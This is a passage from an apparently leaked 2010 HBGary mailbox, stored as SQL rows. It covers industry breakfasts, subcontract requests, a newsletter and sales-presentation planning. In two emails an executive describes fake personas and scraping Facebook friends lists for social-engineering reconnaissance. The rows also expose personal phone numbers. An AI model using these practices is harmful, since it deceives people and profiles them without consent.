<bmalexia@rockwellcollins.com>,\"roger_anderson@appsig.com\" <roger_anderson@appsig.com>,\"zazmi@caci.com\" <zazmi@caci.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>','4x24 Cyber Breakfast','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, September 14, 2010 7:30 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Tower Club, Tysons Corner, VA \r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;Good Morning Cyber group,\r\nI have attached below, a note from Bill Varner in regard to the upcoming Cyber Breakfast scheduled for September 14th at the Tower Club.&nbsp; If you are unable or not planning to attend, but would like to contribute, I ask\r\nthat you submit (to Bill via email)your list of “necessary qualifications” no later than Sept. 10th.&nbsp; This will allow him adequate time to compile a list.\r\n&nbsp;\r\n&nbsp;\r\nSincerely,\r\n&nbsp;\r\nJennifer Jordan-Harrell\r\nGroup Manager\r\n&nbsp;\r\nExecutiveBiz\r\n703-226-7016\r\njennifer@executivebiz.com\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n“As the time approaches for our September 14 breakfast at the Tower Club, I wanted to bring you up to speed with conversations I have held with Dr. Greg Von Lehman, UMUC Provost and Chief Academic Officer. Greg is totally supportive of our concept of\r\nusing the group’s power as a force for good, that is, increasing the quantity and quality of the cyber security workforce. I reviewed our conversation from the last breakfast, even the idea of community colleges having a role, and we are on the same page there\r\nalso. Enrollment in their BS CyberSecurity program has topped 300, growing by as much as 50 per week, so we really may get some traction out of this.\r\n&nbsp;\r\nI suggest that we look internally and come to the breakfast meeting prepared to share with Greg, the top 2-4 qualifications necessary in a Cyber candidate, that our particular company may be looking at for hire. The UMUC program is very much oriented\r\ntoward producing people for the workforce as opposed to academia. &nbsp;\r\n&nbsp;\r\nLooking forward to getting together in a few weeks,\r\n&nbsp;\r\nBill” &nbsp;\r\n&nbsp;\r\nL. William Varner\r\nPresident &amp; Chief Operating Officer\r\nMission, Cyber &amp; Technology Solutions Group\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171\r\nOffice: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\nEmail: Bill.Varner@Mantech.com\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',12932,'aaron_hbgary_com/12932.html'),(10915,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008384.M829137P14101Q5770.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','DC Courts Pentest','Do you want to talk about this RFP today?\r\n\r\nAaron',6370,'aaron_hbgary_com/6370.html'),(10916,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008385.M100929P14101Q5771.eml','\"Aaron Barr\" <adbarr@mac.com>','Bad flash drive caused worst U.S. military breach | InSecurity 	Complex - CNET News','Bad flash drive caused worst U.S. military breach | InSecurity Complex - CNET News\r\nSent from my iPad\r\n',16621,'aaron_hbgary_com/16621.html'),(10917,'2010-08-26','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008385.M418523P14101Q5772.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','Re: Ted\'s schedule and please confirm -- PRESENTING TO DIGITALGLOBE','I&#39;ll keep the next two Friday&#39;s open but will need some lead time if any presentation materials are required.On Wed, Aug 25, 2010 at 8:10 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nI know Ted is busy but I want to schedule a meeting with DigitalGlobe for Active Defense.  The Security team will be presenting to the IT Director team for buy-in to the AD software.\r\nThey want a meeting on September 3rd Friday or September 7th day after labor day preferably in the morning.\r\nThere are several issues to cover and Ted would have remote Webex support:ProposalActive Defense for 1,000 Windows systems40 hours install, deploy, triage, report\r\n\r\n40 hours to learn to triage Presentation1. About HBGary-- company history-- customers-- people -- products and services\r\n2. Why Active Defense -- what is the value -- problem is APT\r\n-- approach  -- critical data is on UNIX servers so why a Windows solution?  -- discuss APT threat and how it operates and it is defeated but will come back...-- What is Active Defense  -- slides or product demo ??\r\n\r\n-- Integration and Defense in depth -- IDS, and other complementary products-- Remediation-- Workflow -- include Phil&#39;s RE work finding APT at DigitalGlobe as an example  (Phil could present)\r\n\r\n3. Workflow implementation-- skills to administer Active Defense -- skills to triage Active Defense-- skills to reverse engineer-- what is possible and/or recommended for DigitalGlobe and why\r\n\r\n 4. Security Clearances5. Next StepMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',6697,'aaron_hbgary_com/6697.html'),(10918,'2010-08-26','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>','/aaron@hbgary.com/new/1297008385.M629158P14101Q5773.eml',',,,','Initial Interest Letter - Blackberry support','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\nUNO Suppliers:\r\n\r\n&nbsp;\r\n\r\nThe\r\nLockheed Martin UNO PMO is requesting UNO Team capability and interest\r\nresponses for Blackberry family devices.&nbsp; If you have significant\r\nexperience and capability to provide historical UNO development levels of\r\neffort involving the specific device, please advise soonest.\r\n\r\n&nbsp;\r\n\r\nYour\r\nresponse will trigger the forwarding of an informal market survey, request for\r\nnon-binding ROM and initial draft SOW (via Secure FAX).&nbsp; An actual Task Order\r\ncompetitive solicitation will be promulgated in the near term regardless of\r\nyour ROM.\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou are interested in, and have the capabilities to meet the basic requirements\r\nof this request, then please provide a written\r\nconfirmation via email to Ryan\r\nStaley, UNO Subcontracts Administrator, at ryan.e.staley@lmco.com and Lindsey Stroop, UNO System Engineer, at Lindsey.H.Stroop@lmco.com by COB\r\nFriday, 8/27. &nbsp;In your confirmation response to LMCO, please be sure to\r\nconfirm your Security POC name, phone, and secure fax number.\r\n\r\n&nbsp;\r\n\r\nShould\r\nyou have any further questions regarding this, please do not hesitate to\r\ncontact me.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nRyan Staley\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJim\r\nRacz\r\n\r\nUNO Program\r\n\r\n703 466-3314\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16192,'aaron_hbgary_com/16192.html'),(10919,'2010-08-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008385.M857028P14101Q5774.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,','Re: Ted\'s schedule and please confirm -- PRESENTING TO DIGITALGLOBE','PhilThe only presentation you would do is to show the malware you reversed, how you did it, the skill level required (a to triage and b to reverse) and explain your conclusions and the &quot;effort&quot; or man-hours required.  This could be a demo or a couple of slides-- or a print out of your results that we can provide for the meeting that you can read through -- maybe 2 hours of prep to organize the work you already did.\r\nMariaOn Thu, Aug 26, 2010 at 7:27 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nI&#39;ll keep the next two Friday&#39;s open but will need some lead time if any presentation materials are required.On Wed, Aug 25, 2010 at 8:10 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nI know Ted is busy but I want to schedule a meeting with DigitalGlobe for Active Defense.  The Security team will be presenting to the IT Director team for buy-in to the AD software.\r\n\r\nThey want a meeting on September 3rd Friday or September 7th day after labor day preferably in the morning.\r\nThere are several issues to cover and Ted would have remote Webex support:ProposalActive Defense for 1,000 Windows systems40 hours install, deploy, triage, report\r\n\r\n\r\n40 hours to learn to triage Presentation1. About HBGary-- company history-- customers-- people -- products and services\r\n\r\n2. Why Active Defense -- what is the value -- problem is APT\r\n-- approach  -- critical data is on UNIX servers so why a Windows solution?  -- discuss APT threat and how it operates and it is defeated but will come back...-- What is Active Defense  -- slides or product demo ??\r\n\r\n\r\n-- Integration and Defense in depth -- IDS, and other complementary products-- Remediation-- Workflow -- include Phil&#39;s RE work finding APT at DigitalGlobe as an example  (Phil could present)\r\n\r\n\r\n3. Workflow implementation-- skills to administer Active Defense -- skills to triage Active Defense-- skills to reverse engineer-- what is possible and/or recommended for DigitalGlobe and why\r\n\r\n\r\n 4. Security Clearances5. Next StepMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\n\r\nemail: maria@hbgary.com   \r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',6932,'aaron_hbgary_com/6932.html'),(10920,'2010-08-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008386.M411595P14101Q5776.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,','Re: Ted\'s schedule and please confirm -- PRESENTING TO DIGITALGLOBE','That is perfect thanks... enjoying the vacation?On Thu, Aug 26, 2010 at 7:50 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nFYI, I used dynamic analysis to analyze the sample I described over email (i.e. not Responder/REcon).  That might make for a good story though as to our services component adding more than just software.  Then we can show a sample I did use Responder on.\r\n\r\nOn Thu, Aug 26, 2010 at 10:45 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nPhilThe only presentation you would do is to show the malware you reversed, how you did it, the skill level required (a to triage and b to reverse) and explain your conclusions and the &quot;effort&quot; or man-hours required.  This could be a demo or a couple of slides-- or a print out of your results that we can provide for the meeting that you can read through -- maybe 2 hours of prep to organize the work you already did.\r\n\r\n\r\nMariaOn Thu, Aug 26, 2010 at 7:27 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\nI&#39;ll keep the next two Friday&#39;s open but will need some lead time if any presentation materials are required.On Wed, Aug 25, 2010 at 8:10 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nI know Ted is busy but I want to schedule a meeting with DigitalGlobe for Active Defense.  The Security team will be presenting to the IT Director team for buy-in to the AD software.\r\n\r\n\r\n\r\nThey want a meeting on September 3rd Friday or September 7th day after labor day preferably in the morning.\r\nThere are several issues to cover and Ted would have remote Webex support:ProposalActive Defense for 1,000 Windows systems40 hours install, deploy, triage, report\r\n\r\n\r\n\r\n\r\n40 hours to learn to triage Presentation1. About HBGary-- company history-- customers-- people -- products and services\r\n\r\n\r\n\r\n2. Why Active Defense -- what is the value -- problem is APT\r\n-- approach  -- critical data is on UNIX servers so why a Windows solution?  -- discuss APT threat and how it operates and it is defeated but will come back...-- What is Active Defense  -- slides or product demo ??\r\n\r\n\r\n\r\n\r\n-- Integration and Defense in depth -- IDS, and other complementary products-- Remediation-- Workflow -- include Phil&#39;s RE work finding APT at DigitalGlobe as an example  (Phil could present)\r\n\r\n\r\n\r\n\r\n3. Workflow implementation-- skills to administer Active Defense -- skills to triage Active Defense-- skills to reverse engineer-- what is possible and/or recommended for DigitalGlobe and why\r\n\r\n\r\n\r\n\r\n 4. Security Clearances5. Next StepMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\n\r\n\r\n\r\nemail: maria@hbgary.com   \r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n  \r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',3533,'aaron_hbgary_com/3533.html'),(10921,'2010-08-26','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297008386.M772901P14101Q5777.eml','aaron@hbgary.com','Beyond business as usual: Nine ideas for the Next Generation Enterprise from leading CIOs','&nbsp; \r\n\r\n\r\n\r\n\r\nView in Browser\r\n \r\n\r\nSign Up&nbsp;| Forward | Visit Our Blog | Jobs\r\n | About Us GovconWire | ExecutiveGov | The New New\r\n Internet | GovCon Executive&nbsp; | GovConExec\r\n Magazine\r\n\r\n&nbsp;By Jim GarrettsonAugust 26,\r\n 2010Beyond\r\n business as usual: Nine ideas for the Next Generation Enterprise from leading\r\n CIOsThe days of business as\r\n usual are over. Especially for CIOs.Gone are the days when it was enough\r\n to keep the lights on. Or know the ins and outs of server and storage\r\n capacity.\r\n &nbsp;\r\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n &nbsp;Top Row (lt.-rt.) John George Vangent, Mark Ives\r\n Alion, Robin Johnson Dell , Bernie McVey NorthropGrumman, Bob Fecteau BAE\r\n Systems Bottom Row (lt.-rt.) Federico Genoese-Zerbi IT\r\n Business Partners, Brian Michl SRA, David Spannare USIS, Barbie\r\n BigelowTASC&nbsp;Click here to read more\r\nBill Ballhaus Resigns from DynCorp, Replacement Steve Gaffney Comes\r\n in from IAP\r\n WorldwideDynCorp International Chief Executive\r\n Officer and President Bill Ballhaus has announced his\r\n resignation.&nbsp;Ballhaus has been with the firm since 2008 and will\r\n remain on the company\'s board of directors as vice chairman and will also become a\r\n strategic adviser to DynCorp\'s new parent, Cerberus Capital Management L.P.Click here to read\r\n moreGoogle\r\n CEO: Change Name to Hide PasteGoogle CEO Eric Schmidt has suggested a novel approach to offset\r\n potentially damaging search-result histories: Change your name once you reach\r\n adulthood. Click here to read\r\n more\r\nGAO: Information Sharing is a\r\n Sticking Point for Cybersecurity&nbsp;In a new report, the Government Accountability\r\n Office found that neither the federal government nor private sector stakeholders\r\n are satisfied with the other\'s performance in the public/private partnership to\r\n secure cyberspace.&nbsp;Click here to read\r\n more&nbsp;Naval Academy Graduate to Right the\r\n GM Ship Ed Whitacre will step down as CEO of General Motors on Sept. 1, having\r\n led the company back to profitability after \"the most turbulent period in its\r\n history,\" according to a statement, and Daniel Akerson will replace him. Akerson\r\n has served on the GM board of directors since July 2009 and is a graduate of the\r\n Naval Academy, so he has something in common with some prominent leaders of the\r\n government contracting industry.&nbsp;Click here to read\r\n more\r\n\r\n\r\n\r\n\r\n\r\n\r\nExecutive\r\n Spotlight: Richard White of HarrisBill Varner to be Group COO in ManTech\r\n Restructuring&nbsp;&nbsp;Richard A. Clarke to Address Potomac\r\n Officers ClubCybersecurity a Team Sport, Says Navy CIO\r\n Robert Carey\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp; \r\nLockheed Martin, Northrop\r\n Grumman Win Air Force\r\n Contracts\r\nITT Picks Up\r\n Night Vision Deal from Army Worth $260\r\n Million\r\nRaytheon, Booz\r\n Allen Notch Defense\r\n Wins\r\nSAIC Wins Slice\r\n of Billion-Dollar NGA\r\n DealEADS Picks\r\n Northrop Grumman for Eurofighter Typhoon Contract \r\nManTech\r\n Finalizes New Leadership Structure, George Pedersen\r\n Comments\r\nNew DynCorp CEO\r\n Steve Gaffney Speaks\r\n Out\r\nClick Here for More\r\n GovConwireCyber Crime World Actually\r\n Disorganized According to\r\n Researchers\r\nMalware Targets\r\n Iranian\r\n Companies\r\nMalware May\r\n Have Caused Plane\r\n Crash\r\nUS Openly\r\n Fingers China for Cyber\r\n Probes\r\nExiting Workers\r\n More Likely to Steal Data Rather Than Office\r\n Supplies\r\nClick Here for More\r\n from The New New\r\n Internet\r\n \r\n\r\n\r\nIntel to\r\n Acquire McAfee for $7.7 Billion\r\n10 Tell-Tale\r\n Signs of PC Infection\r\nCyber\r\n Competition Offers Teens Insight into Internet Defense\r\nManTech Scores\r\n $23 Million DoD Deal; Bill Varner Comments\r\nCACI Snags $19M\r\n Air Force Contract\r\nClick Here for More\r\n from GovCon Executive\r\n US Combat Mission in Iraq\r\n \'Unlikely\' After Sept. 1, Says\r\n Odierno\r\nPetraeus:\r\n Taliban Momentum Halted in Key\r\n Areas\r\nDHS to Adopt\r\n Electronic Health Record System for Undocumented\r\n Aliens\r\nHHS Secretary\r\n Announces $32 Million to Support Rural Health\r\n Priorities\r\nDARPA Hosts\r\n Industry\r\n Summit\r\nClick Here for More\r\n from ExecutiveGov\r\n \r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\nSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpace\r\n\r\n\r\n\r\n\r\n\r\nAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From mapping and CAD, to\r\n imagery and globes, all can be purchased at a press of a button for all your\r\n government projects. The portal features special pricing around Autodesk\'s\r\n Master Government Reseller software solutions including AutoCAD, Map 3D, Civil 3D\r\n plus many more. Google Earth and GeoEye Imagery solutions are available\r\n too.Prefer to speak to a representative directly? DLT has a team of\r\n experienced representatives to help. With over 19 years of working closely with\r\n federal, state and local governments, we can help you make the best purchasing\r\n decisions.&nbsp;For Autodesk products, call 888.447.2223 or send a\r\n message to ag@dlt.com&nbsp;For\r\n Geospatial products, call 877.385.3581 or send a message to gds@dlt.com.\r\n\r\n\r\n\r\n \r\n\r\nExecutive Spotlight: Richard White of\r\n HarrisHarris VP of Washington Operations Richard White\r\n spoke with ExecutiveBiz about a range of topics including recent developments at\r\n the firm, the Robert Gates defense budget and Advanced Information\r\n Solutions.&nbsp;Click here to read\r\n more Bill Varner to be Group COO in\r\n ManTech Restructuring&nbsp;ManTech International Corporation (NASDAQ:MANT) has\r\n announced a company restructuring following last month\'s departure of Larry Prior,\r\n formerly COO of ManTech. The restructuring will see the presidents of ManTech\'s\r\n three operating groups also taking over as chief operating officers of their\r\n respective organizations.&nbsp;Click here to read\r\n more Richard A. Clarke to Address Potomac\r\n Officers Club on October 5&nbsp;Richard A. Clarke, an internationally-renowned expert on\r\n security, including homeland security, national security, cybersecurity and\r\n counterterrorism will be speaking at the Potomac Officers Club on October 5. He is\r\n currently an on-air consultant for ABC News and teaches at Harvard\'s Kennedy\r\n School of Government. Click here to read\r\n moreCybersecurity a Team Sport, Says\r\n Navy CIO Robert CareyA team effort involving the private and public sectors could be the\r\n answer to integrating the \"best of the best\" to provide a balanced risk-management\r\n approach to cyber defense, according to Navy Chief Information Officer Robert\r\n Carey. Click here to read more\r\n\r\nA Letter from the EditorThrough our weekly emagazine and daily blog, ExecutiveBiz offers our readership an insider\'s\r\n view of news and trends shaping small, medium, and large companies within\r\n industries such as defense, technology, and health care.&nbsp; In addition to our\r\n daily blog, we\'ve launched four new media properties, GovConWire, GovConExecutive, ExecutiveGov, and TheNewNewInternet. Each week, we deliver in-depth profiles of\r\n industry leaders, candid Q&As, plus the latest news and trends, and value-add\r\n information to help you do your job better.&nbsp; You\'re a big part of the\r\n equation both online and off &#8212; which is why we want to hear from you. Have a\r\n story tip? Or an idea for a speaking event? Feel free to contact me direct. You\r\n can also follow us on Twitter, Facebook, and LinkedIn.\r\n\r\nJ.D. KathuriaEditor-in-chief ExecutiveBizo: 703-226-7010&nbsp;\r\n &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n \r\n\r\n\r\n\r\n\r\nExecutiveBiz, 8230 Old\r\n Courthouse RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',11215,'aaron_hbgary_com/11215.html'),(10922,'2010-08-26','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008386.M83400P14101Q5775.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','Re: Ted\'s schedule and please confirm -- PRESENTING TO DIGITALGLOBE','FYI, I used dynamic analysis to analyze the sample I described over email (i.e. not Responder/REcon).  That might make for a good story though as to our services component adding more than just software.  Then we can show a sample I did use Responder on.\r\nOn Thu, Aug 26, 2010 at 10:45 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nPhilThe only presentation you would do is to show the malware you reversed, how you did it, the skill level required (a to triage and b to reverse) and explain your conclusions and the &quot;effort&quot; or man-hours required.  This could be a demo or a couple of slides-- or a print out of your results that we can provide for the meeting that you can read through -- maybe 2 hours of prep to organize the work you already did.\r\n\r\nMariaOn Thu, Aug 26, 2010 at 7:27 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\nI&#39;ll keep the next two Friday&#39;s open but will need some lead time if any presentation materials are required.On Wed, Aug 25, 2010 at 8:10 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nI know Ted is busy but I want to schedule a meeting with DigitalGlobe for Active Defense.  The Security team will be presenting to the IT Director team for buy-in to the AD software.\r\n\r\n\r\nThey want a meeting on September 3rd Friday or September 7th day after labor day preferably in the morning.\r\nThere are several issues to cover and Ted would have remote Webex support:ProposalActive Defense for 1,000 Windows systems40 hours install, deploy, triage, report\r\n\r\n\r\n\r\n40 hours to learn to triage Presentation1. About HBGary-- company history-- customers-- people -- products and services\r\n\r\n\r\n2. Why Active Defense -- what is the value -- problem is APT\r\n-- approach  -- critical data is on UNIX servers so why a Windows solution?  -- discuss APT threat and how it operates and it is defeated but will come back...-- What is Active Defense  -- slides or product demo ??\r\n\r\n\r\n\r\n-- Integration and Defense in depth -- IDS, and other complementary products-- Remediation-- Workflow -- include Phil&#39;s RE work finding APT at DigitalGlobe as an example  (Phil could present)\r\n\r\n\r\n\r\n3. Workflow implementation-- skills to administer Active Defense -- skills to triage Active Defense-- skills to reverse engineer-- what is possible and/or recommended for DigitalGlobe and why\r\n\r\n\r\n\r\n 4. Security Clearances5. Next StepMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\n\r\n\r\nemail: maria@hbgary.com   \r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n  \r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',6328,'aaron_hbgary_com/6328.html'),(10923,'2010-08-26','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008391.M429388P14101Q5779.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Another Killer Demo','Brandon is a rockstar!!! Good call.\r\n\r\nLet us know if you want help on the demo, sounds like it could be really\r\ninteresting.  We\'d probably love to make a video of is as well to put up on\r\nour analysis blog (with HBGary branding of course!).\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\nFollow @palantirtech\r\nWatch youtube.com/palantirtech\r\nAttend Palantir Night Live\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 25, 2010 10:36 PM\r\nTo: Matthew Steckman\r\nCc: Aaron Zollman\r\nSubject: Another Killer Demo\r\n\r\nMatt,\r\n\r\nI have been doing talks on social media, have a lot more scheduled, along\r\nwith some training gigs.  In the process I am setting up a lot of personas\r\nand doing social media pen testing against organizations.\r\n\r\nWhat I have found is there is an immense amount of information peoples\r\nfriends lists as well as other social media digital artifacts can tell us.\r\nI think Palantir would be an awesome tool to present and use for analysis.\r\nWe are just going to have to get someone to write a helper app.  I am hoping\r\nto be able to hire Brandon Colston soon.\r\n\r\nAaron\r\n',9571,'aaron_hbgary_com/9571.html'),(10924,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008391.M710114P14101Q5780.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Matthew Steckman\" <msteckman@palantir.com>,,','Re: Another Killer Demo','On the social side here is what I would like to do.  I think between Mark and Aaron this could be put together very quickly and would be powerful.\r\n\r\nstart with a profile in facebook.\r\n\r\nhttp://www.facebook.com/profile.php?id=100001092994636\r\n\r\nView the source of that page.  There is all kinds of information we can collect and parse to build some very robust social maps.\r\nThose people that provide information and have their friends lists exposed provide an incredible social engineering and recon tool.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n\r\n> Brandon is a rockstar!!! Good call.\r\n> \r\n> Let us know if you want help on the demo, sounds like it could be really\r\n> interesting.  We\'d probably love to make a video of is as well to put up on\r\n> our analysis blog (with HBGary branding of course!).\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n> \r\n> Follow @palantirtech\r\n> Watch youtube.com/palantirtech\r\n> Attend Palantir Night Live\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 25, 2010 10:36 PM\r\n> To: Matthew Steckman\r\n> Cc: Aaron Zollman\r\n> Subject: Another Killer Demo\r\n> \r\n> Matt,\r\n> \r\n> I have been doing talks on social media, have a lot more scheduled, along\r\n> with some training gigs.  In the process I am setting up a lot of personas\r\n> and doing social media pen testing against organizations.\r\n> \r\n> What I have found is there is an immense amount of information peoples\r\n> friends lists as well as other social media digital artifacts can tell us.\r\n> I think Palantir would be an awesome tool to present and use for analysis.\r\n> We are just going to have to get someone to write a helper app.  I am hoping\r\n> to be able to hire Brandon Colston soon.\r\n> \r\n> Aaron\r\n\r\n',725,'aaron_hbgary_com/725.html'),(10925,'2010-08-26','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008391.M82648P14101Q5778.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: GovCon booth','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat, sounds good AB.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir\r\nNight Live\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 25, 2010 10:33 PM\r\nTo: Matthew Steckman\r\nCc: Aaron Zollman\r\nSubject: Re: GovCon booth\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Matt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are going to work on it. &nbsp;We have had a slow start\r\nbecause we all had some heads down work for a few weeks but starting in\r\nSeptember we should be able to get 